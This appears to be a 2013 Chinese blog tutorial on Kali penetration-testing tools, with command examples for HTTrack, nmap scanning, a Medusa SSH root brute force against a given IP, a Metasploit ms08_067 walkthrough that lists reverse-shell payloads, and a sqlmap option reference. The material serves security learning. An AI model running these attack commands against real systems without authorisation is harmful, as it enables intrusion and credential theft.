`

HTTrack 网站复制

 
阅读更多
黑客 专题一 常用工具
分类: Kali 2013-10-14 17:55 304人阅读 评论(0) 收藏 举报
黑客Kali
目录(?)[+]
一.HTTrack 网站复制
    1.1安装
[plain] view plaincopy
apt-get install httrack webhttrack 
    1.2 常用命令
[plain] view plaincopy
httrack http://www.documentfoundation.org -* +*.htm* +*.pdf -O /home/floeff/websites 
httrack http://www.leiyanhui.com/ -O E:\test\ -r15 -E3600 -m2000000,300000 -M1000000000 --ext-depth 1 -o0 -s0 -F "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)" -%F "" -*.* +*.htm* +*.shtm* +*.php* +*.asp* +*.do +*.jsp +*.css +*.swf +*.js +*.jp* +*.gif +*.bmp +*.png -N100 
常用存放规则 
-N100 直接放到目录根下面,默认站点结构,并且外部站点也放进去 
-N1004 直接放到目录根下面,文件根据后缀放置,并且外部站点的文件也一起放进去 
-N1005 直接放到目录下,html放到html文件夹,其他文件也按照后缀放到单独文件夹,并且外部站点的文件也一起放进去 
文件过滤(白名单): 
-*.* +*.htm* +*.shtm* +*.cgi +*.py +*.php* +*.phtm* +*.asp* +*.do +*.jsp +*.css +*.swf +*.js +*.jp* +*.gif +*.bmp +*.png 
注意,多个任务不能放置到同一个目录里面,不然会提示文件夹锁定 
另外 对css中 background:#fff url(images/head_bg.gif) repeat-x; 不能识别其中的图片 
js和swf中的图片 几乎全部无法识别 
小技巧: 
在命令行正在执行的时候,连续按下2-4次回车可以看到滚动日志 
限制类参数 
-r50 50层 
-E3600 限制时间为3600秒之内 
-m50000000 限制非html文件为50m以内 
-m50000000,100000 限制非html文件为50M html文件为100K 
-M1000000000 限制总体积为1G 
-A100000000 限制速度为100m/s 
-G100000000 下载1G后暂停 
%e1 前面没有横线,限制外链深度为5层;不知道为何无效,所以用 --ext-depth 1的方法替代了 
性能参数 
-%c20 每秒20个连接 
-c128 文件句柄限制,文档说与操作系统有关系,不一定越大越好 
-T30 连接超时选项 
-R5 重试次数限制,暂时不确定超限后是终止任务还是终止文件 
-J10 速度不到10b/s的时候 放弃下载 
-H0 不终止任务 -H1 超时的时候终止任务 -H2 速度太慢的时候 -H3 速度太慢或者超时 
镜像参数 
-N "%h%p/%n.%t" 文件保存路径 
-L1 |--long-names禁止使用长文件名,防止url过长或者文件系统不支持 
-K 保存原来的链接,禁止修改链接地址 
-x 好像是说外部链接替换成提示消息,应该是和允许下载外链有冲突 
-o0 智能识别404页面,防止保存大量没用的404页面地址 
%x0 include 好像是说可以通过md5校验,避免重复的文件 
蜘蛛参数 
-b0 禁用cookis 默认是启用 
-s0 忽略meta-tags and robots.txt -s1和-s2是遵守,但怎么遵守的没看明白 
浏览参数 
-F "Mozilla 1.0, Sparc, Solaris 23.54.34" 不需要解释 
-%F "Mirrored [from host %s [file %s [at %s]]]" 底部代码 
                详情见http://www.httrack.com/html/fcguide.html
二.Metagoofil 信息收集
         修改/usr/share/metagoofil/discovery中的googlesearch.py的内容如下

     

[python] view plaincopy
#self.server="www.google.com" 
#self.hostname="www.google.com" 
self.server="www.google.com.hk" 
self.hostname="www.google.com.hk" 
 
#self.quantity="100"         
self.quantity="10"   
# 这个值是google返回每页中有多少条结果,发现太大了在后面 do_search_files方法中self.results = h.getfile().read()会卡住不动,设置为10了有时都还有这种情况,不明白为什么。    
#改了这个值后在process_files中要做相应修改         
#self.counter+=100 
self.counter+=10 

       myparser.py中解析google返回的结果(提取文件链接)的正则式也要做相应修改:
[python] view plaincopy
#reg_urls = re.compile('<a href="(.*?)"') 
reg_urls = re.compile('<a href="[^">]*?/url\?q=([^">]*?)&sa=U.*?"') 

三.FPing 判断主机在线
     详情见http://www.fping.org/fping.1.html
  

[plain] view plaincopy
fping -a -g 192.168.0.1/24 >hosts.txt 

四.Nmap 端口扫描
  4.1 TCP 扫描
   完成三次握手,最稳定.
[plain] view plaincopy
nmap -sT -p- -PN 172.16.45.135 


   -sT 执行TCP 扫描

   -p- 扫描所有端口,而不是常用的1000个端口

   -PN 跳过主机发现过程,扫描所有地址

   可以使用172.16.45-254 指定一个范围或者使用-iL path_to_the_text_file
   4.2 SYN 扫描
     完成两次握手,速度较快,隐性扫描,相当于打给别人,对方刚说喂,就挂了.是默认的扫描方式.

[plain] view plaincopy
nmap -sS -p- -PN 172.16.45.135 
   
    4.3 UDP 扫描
       扫描速度非常慢,DHCP,DNS,SNMP,TFTP使用UDP服务

 

[plain] view plaincopy
nmap -sUV 172.16.45.36 

       -sV 用于版本扫描,精确UDP扫描结果
     
    4.4 Xmas扫描
      发送非常规的数据包,针对的是Linux或Unix操作系统,Windows 一般无效

[plain] view plaincopy
nmap -sX -p- -PN 172.16.45.129 
   
    4.5 Null 扫描
      发送NULL,与Xmas 相反,关闭的端口会发回一个RST数据包。只有那些100%遵循TCP RFC的系统有效,Windows 一般无效
[plain] view plaincopy
nmap -sN -p- -PN 172.16.45.129 
      4.6 好用的参数

     -T 0~5 5最快,为避免被检测到,设置速度

     -O 用于识别操作系统

五.Medusa 密码破解
        支持IMAP,FTP,MySQL,POP3,SNMP,SSH,Telnet,VNC.
[plain] view plaincopy
medusa -h 202.38.128.6 -u root -P nmap.lst -M ssh 

六.Metasploit
[plain] view plaincopy
msfconsole 打开控制台 

[plain] view plaincopy
msf > msfupdate ;更新需要经常执行 
msf > search ms08-067 ;查找漏洞,Rank 评价成功率 


[plain] view plaincopy
msf>use windows/smb/ms08_067_netapi 
msf>show payloads 
msf>set payload windows>vncinject/reverse_tcp 
msf>show options 查看所需要配置的选项 
msf>set RHOST 远程靶机ip 
msf>set LHOST 发起攻击ip 
msf>show options 查看是否配置成功 
msf>exploit 发起攻击 
Windows 可用的载荷

[plain] view plaincopy
windows/adduser 创建新用户 
windows/exec 执行windows二进制文件 
windows/shell_bind_tcp 正向shell 
windows/shell_reverse_tcp 反向shell 
windows/meterpreter/bind_tcp 安装meterpreter 
windows/meterpreter/reverse_tcp 反向安装meterpreter 
windows/vncinject/bind_tcp 正向VNC 
windows/vncinject/reverse_tcp 反向VNC  
七.Sqlmap使用
[plain] view plaincopy
Options(选项): 
--version 显示程序的版本号并退出 
-h, --help 显示此帮助消息并退出 
-v VERBOSE 详细级别:0-6(默认为1) 
 
Target(目标): 
以下至少需要设置其中一个选项,设置目标URL。 
 
-d DIRECT 直接连接到数据库。 
-u URL, --url=URL 目标URL。 
-l LIST 从Burp或WebScarab代理的日志中解析目标。 
-r REQUESTFILE 从一个文件中载入HTTP请求。 
-g GOOGLEDORK 处理Google dork的结果作为目标URL。 
-c CONFIGFILE 从INI配置文件中加载选项。 
 
Request(请求): 
这些选项可以用来指定如何连接到目标URL。 
 
--data=DATA 通过POST发送的数据字符串 
--cookie=COOKIE HTTP Cookie头 
--cookie-urlencode URL 编码生成的cookie注入 
--drop-set-cookie 忽略响应的Set - Cookie头信息 
--user-agent=AGENT 指定 HTTP User - Agent头 
--random-agent 使用随机选定的HTTP User - Agent头 
--referer=REFERER 指定 HTTP Referer头 
--headers=HEADERS 换行分开,加入其他的HTTP头 
--auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM) 
--auth-cred=ACRED HTTP身份验证凭据(用户名:密码) 
--auth-cert=ACERT HTTP认证证书(key_file,cert_file) 
--proxy=PROXY 使用HTTP代理连接到目标URL 
--proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码) 
--ignore-proxy 忽略系统默认的HTTP代理 
--delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒 
--timeout=TIMEOUT 等待连接超时的时间(默认为30秒) 
--retries=RETRIES 连接超时后重新连接的时间(默认3) 
--scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式 
--safe-url=SAFURL 在测试过程中经常访问的url地址 
--safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL 
 
Optimization(优化): 
这些选项可用于优化SqlMap的性能。 
 
-o 开启所有优化开关 
--predict-output 预测常见的查询输出 
--keep-alive 使用持久的HTTP(S)连接 
--null-connection 从没有实际的HTTP响应体中检索页面长度 
--threads=THREADS 最大的HTTP(S)请求并发量(默认为1) 
 
Injection(注入): 
这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。 
 
-p TESTPARAMETER 可测试的参数(S) 
--dbms=DBMS 强制后端的DBMS为此值 
--os=OS 强制后端的DBMS操作系统为这个值 
--prefix=PREFIX 注入payload字符串前缀 
--suffix=SUFFIX 注入payload字符串后缀 
--tamper=TAMPER 使用给定的脚本(S)篡改注入数据 
 
Detection(检测): 
这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。 
 
--level=LEVEL 执行测试的等级(1-5,默认为1) 
--risk=RISK 执行测试的风险(0-3,默认为1) 
--string=STRING 查询时有效时在页面匹配字符串 
--regexp=REGEXP 查询时有效时在页面匹配正则表达式 
--text-only 仅基于在文本内容比较网页 
 
Techniques(技巧): 
这些选项可用于调整具体的SQL注入测试。 
 
--technique=TECH SQL注入技术测试(默认BEUST) 
--time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒) 
--union-cols=UCOLS 定列范围用于测试UNION查询注入 
--union-char=UCHAR 用于暴力猜解列数的字符 
 
Fingerprint(指纹): 
-f, --fingerprint 执行检查广泛的DBMS版本指纹 
 
Enumeration(枚举): 
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 
的SQL语句。 
-b, --banner 检索数据库管理系统的标识 
--current-user 检索数据库管理系统当前用户 
--current-db 检索数据库管理系统当前数据库 
--is-dba 检测DBMS当前用户是否DBA 
--users 枚举数据库管理系统用户 
--passwords 枚举数据库管理系统用户密码哈希 
--privileges 枚举数据库管理系统用户的权限 
--roles 枚举数据库管理系统用户的角色 
--dbs 枚举数据库管理系统数据库 
--tables 枚举的DBMS数据库中的表 
--columns 枚举DBMS数据库表列 
--dump 转储数据库管理系统的数据库中的表项 
--dump-all 转储所有的DBMS数据库表中的条目 
--search 搜索列(S),表(S)和/或数据库名称(S) 
-D DB 要进行枚举的数据库名 
-T TBL 要进行枚举的数据库表 
-C COL 要进行枚举的数据库列 
-U USER 用来进行枚举的数据库用户 
--exclude-sysdbs 枚举表时排除系统数据库 
--start=LIMITSTART 第一个查询输出进入检索 
--stop=LIMITSTOP 最后查询的输出进入检索 
--first=FIRSTCHAR 第一个查询输出字的字符检索 
--last=LASTCHAR 最后查询的输出字字符检索 
--sql-query=QUERY 要执行的SQL语句 
--sql-shell 提示交互式SQL的shell 
 
Brute force(蛮力): 
这些选项可以被用来运行蛮力检查。 
 
--common-tables 检查存在共同表 
--common-columns 检查存在共同列 
 
User-defined function injection(用户自定义函数注入): 
这些选项可以用来创建用户自定义函数。 
 
--udf-inject 注入用户自定义函数 
--shared-lib=SHLIB 共享库的本地路径 
 
File system access(访问文件系统): 
这些选项可以被用来访问后端数据库管理系统的底层文件系统。 
 
--file-read=RFILE 从后端的数据库管理系统文件系统读取文件 
--file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 
--file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径 
 
Operating system access(操作系统访问): 
这些选项可以用于访问后端数据库管理系统的底层操作系统。 
 
--os-cmd=OSCMD 执行操作系统命令 
--os-shell 交互式的操作系统的shell 
--os-pwn 获取一个OOB shell,meterpreter或VNC 
--os-smbrelay 一键获取一个OOB shell,meterpreter或VNC 
--os-bof 存储过程缓冲区溢出利用 
--priv-esc 数据库进程用户权限提升 
--msf-path=MSFPATH Metasploit Framework本地的安装路径 
--tmp-path=TMPPATH 远程临时文件目录的绝对路径 
 
Windows注册表访问: 
这些选项可以被用来访问后端数据库管理系统Windows注册表。 
 
--reg-read 读一个Windows注册表项值 
--reg-add 写一个Windows注册表项值数据 
--reg-del 删除Windows注册表键值 
--reg-key=REGKEY Windows注册表键 
--reg-value=REGVAL Windows注册表项值 
--reg-data=REGDATA Windows注册表键值数据 
--reg-type=REGTYPE Windows注册表项值类型 
 
General(一般): 
 
这些选项可以用来设置一些一般的工作参数。 
-t TRAFFICFILE 记录所有HTTP流量到一个文本文件中 
-s SESSIONFILE 保存和恢复检索会话文件的所有数据 
--flush-session 刷新当前目标的会话文件 
--fresh-queries 忽略在会话文件中存储的查询结果 
--eta 显示每个输出的预计到达时间 
--update 更新SqlMap 
--save file保存选项到INI配置文件 
--batch 从不询问用户输入,使用所有默认配置。 
 
Miscellaneous(杂项): 
--beep 发现SQL注入时提醒 
--check-payload IDS对注入payloads的检测测试 
--cleanup SqlMap具体的UDF和表清理DBMS 
--forms 对目标URL的解析和测试形式 
--gpage=GOOGLEPAGE 从指定的页码使用谷歌dork结果 
--page-rank Google dork结果显示网页排名(PR) 
--parse-errors 从响应页面解析数据库管理系统的错误消息 
--replicate 复制转储的数据到一个sqlite3数据库 
--tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址 
--wizard 给初级用户的简单向导界面 
//--http://blog.csdn.net/ghosttzs--// 






更多 0
上一篇:Django 1.5.4 专题18 User Profile
下一篇:python 网络编程
分享到:
评论

相关推荐

    httrack网站镜像下载器

    httrack网站镜像下载器

    HTTrack软件,一款C语言开发的离线浏览器,用于网站复制

    只需在浏览器中打开“镜像”网站的一个页面,您就可以从一个链接到另一个链接浏览该网站,就像您在网上查看一样。 HTTrack 还可以更新现有的镜像站点,并恢复中断的下载。HTTrack 是完全可配置的,并具有集成的帮助...

    httrack网站镜像神器

    网站镜像神器,有了它,再也不用右键查看源代码,复制粘贴了,参考他人代码的话,可以节约很多时间

    httrack:HTTrack网站复印机,将网站复制到您的计算机(官方存储库)

    HTTrack网站复印机-开发资料库关于将网站复制到您的计算机(脱机浏览器) HTTrack是一个脱机浏览器实用程序,可让您从互联网将万维网站点下载到本地目录,以递归方式构建所有目录,并将html,图像和其他文件从服务器...

    httrack 64位网站批量下载器中文版

    HTTrack Website Copier是一个免费的离线浏览器工具,它能够让你从互联网上下载整个网站进行线下浏览,浏览线下站点和线上并没有什么不同。 HTTrack同样可以进行线下线上站点同步,支持断点续传,是一个可全面配置并...

    HTTrack线下浏览器网站镜像工具

    HTTrack是一个免费并易于使用的线下浏览器工具,它能够让你从互联网上下载整个网站进行线下浏览。浏览线下站点和线上并没有什么不同。HTTrack同样可以进行线下线上站点同步,支持断点续传。HTTrack是一个可全面配置...

    网站整站下载工具HTTrack3.4

    只需在浏览器中打开“镜像”网站的页面,您就可以从一个链接浏览到另一个链接,就像在网上查看它一样。HTTrack还可以更新现有镜像站点,并恢复中断的下载。HTTrack是完全可配置的,并且有一个完整的帮助系统。

    httrack-3.49.2.rar

    HTTrack安排原始网站的相关链接结构。只需在浏览器中打开“镜像”网站的页面,即可从链接到链接浏览网站,就像在线查看网站一样。HTTrack也可以更新现有的镜像站点,并恢复中断的下载。HTTrack完全可配置,并具有...

    页面抓取工具httrack

    页面抓取工具httrack 资源归类 可用于网站静态页面克隆

    httrack_x64

    httrack x64:可以把网站镜像 让你为所欲为

    httrack-noinst

    httrack-noinst 网站镜像

    httrack网页下载工具

    httrack网页下载工具 可以下载整个网站内容

    httrack-3.48.21免安装版

    httrack-3.48.21是一个免费并易于使用的线下浏览器工具,它能够让你从互联网上下载整个网站进行线下浏览.

    httrack源码 开源网站下载器webzip

    httrack源码 类webzip 下载网页js css 代码 程序 HTTrack is a free (GPL, libre/free software) and easy-to-use offline browser utility. It allows you to download a World Wide Web site from the Internet ...

    httrack 手册

    httrack(站点下载或镜像工具)英文手册

    网站抓取工具 HTTrack_Portabl

    一个用来抓取网站的工具,很方便。可以尝试下载

    httrack 全站下载工具

    WinHTTrack HTTrack 是一款简单易用的离线浏览器实用工具。该软件允许你从互联网上传输一个网站到一个本地目录当中,从服务器创建递归所有结构,获得 html,图像以及其它文件到你的计算机当中。相关的链接被重新创建...

    HTTrack Website Copier v3.48-18 多语绿色便携版.zip

    WinHTTrack HTTrack 是一款简单易用的离线浏览器实用工具.该软件允许你从互联网上传输一个网站到一个本地目录当中,从服务器创建递归所有结构,获得 html,图像以及其它文件到你的计算机当中.相关的链接被重新创建,因此...

    httrack_x64-3.48.19

    离线浏览器httrack ,可以整个网站下载离线观看

    httrack源码

    httrack源码 ,类webzip的软件,很方便,可以参考实现代码!

Global site tag (gtag.js) - Google Analytics